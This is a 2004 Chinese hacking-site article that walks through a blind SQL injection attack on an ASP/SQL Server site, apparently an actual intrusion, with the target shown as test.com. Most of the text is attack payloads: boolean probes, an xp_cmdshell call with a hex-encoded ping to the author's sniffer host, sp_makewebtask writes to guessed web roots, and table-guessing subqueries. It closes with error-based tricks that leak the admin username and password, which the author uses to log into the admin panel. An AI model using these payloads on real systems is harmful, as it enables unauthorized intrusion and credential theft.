您的位置:首页 >> 黑客 >> 技术交流 >> 新闻正文

sql注射的灵活应用

作者:不详  时间:2004-11-19 9:38:24  来自:台州理想网  责任编辑:  阅读次数:

  台州理想网(tzlx.Net)依法保护知识产权,如果我们的文章有涉及或侵犯您的有关权益,请即时与我们联系, 注明网址及文章,我们会即时处理或删除,感谢您的合作!

查看:[大字 中等 还原] 自动滚屏[左键停止] 或者双击自动滚屏

注:具体技术细节就省了,此文为实现思路:P

发现一个网站有sql injection漏洞,试了几次猜到sql查询结构(这个文章管理系统我不知有没有开源码,所以是盲人摸象式的攻击):
http://www.test.com/list.asp?id=1707 and 1=1 “找到文章”
http://www.test.com/list.asp?id=1707 and 1=2 “找不到文章”
然后自然想試试能不能用xp_cmdshell得到shell:
http://www.test.com/list.asp?id=1707 declare @airplane sysname select @airplane=0x700069006e006700200031002e0031002e0031002e003100 exec master..xp_cmdshell @airplane
1.1.1.1安装了sniffer,用以获取icmp包,结果没有获取icmp包..试了恢复xp_cmdshell也不行。有可能权限不够,再试了几个扩展存储都不行,放弃获取shell了:~~~(
再试EXEC master..sp_makewebtask "d:\www\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
EXEC master..sp_makewebtask "e:\www\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
EXEC master..sp_makewebtask "f:\www\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
EXEC master..sp_makewebtask "d:\wwwroot\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
EXEC master..sp_makewebtask "e:\wwwroot\test\a.htm", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
…………
放弃放弃:(


试获取表名之类 的信息.因为对方是整型变量,试了下还是比较难利用的,包括使用了以前一些成熟的sql injection技术都走不通。但是可以利用跨表子查询猜猜列名和表名:
http://www.test.com/list.asp?id=1707 or 0<>(select count(*) from admin)
http://www.test.com/list.asp?id=1707 and 0<>(select count(*) from admin where username<>'')
http://www.test.com/list.asp?id=1707 and 0<>(select count(*) from admin where password<>'')
通过!看来是典型的表名列名:)
接下来可以一位位的猜用户密码,今天我来改变一下这个游戏规则,利用非法运算出错直接得到用户和密码:
http://www.test.com/list.asp?id=1707 and 111<>(select count(*) from admin where username>111 and password<>'')

出错信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'oneside' 转换为数据类型为 int 的列发生语法错误。
/list.asp,行13

然后接着搞password:
http://www.test.com/list.asp?id=1707 and 111<>(select count(*) from admin where username<>'111' and password>1)
出错信息:

将 nvarchar 值 'testisxts' 转换为数据类型为 int 的列时发生语法错误。

现在我们得到管理员的用户和密码了,接着猜到http://www.test.com/admin.asp管理员登录口,成功进入:)


作者主页: xhacker.exetools.com
文章评论 更多
版权声明 更多

共有评论篇 查看评论
姓名:

部分文章收集于网上,如果侵犯了你的权益请来信告之,我们将在24小时内删除!
如果解压本站本地软件时需要密码,请用www.tzlx.net或www.23sj.com 来解压!
如果发现本站文章错误,请在论坛中指出,谢谢!
如果链接本站本地程序和任何文章,务请注明来自台州理想网,并做上本站网址的连接[www.tzlx.net]谢谢您的理解与支持!
欢迎广大程序、文章、教程作者以及厂商在本站发布信息,本站将为您予以能力范围以内的推广!
热点文章 更多
推荐文章 更多
 

关于站点 | 广告服务 | 联系站长 | 版权隐私 | 友情连接
COPYRIGHT (C) 2003-2004 Www.tzlx.Net ALL RIGHTS RESERVED.
联系方式:E-mail:web 制作维护:汽水糖 QQ:307929021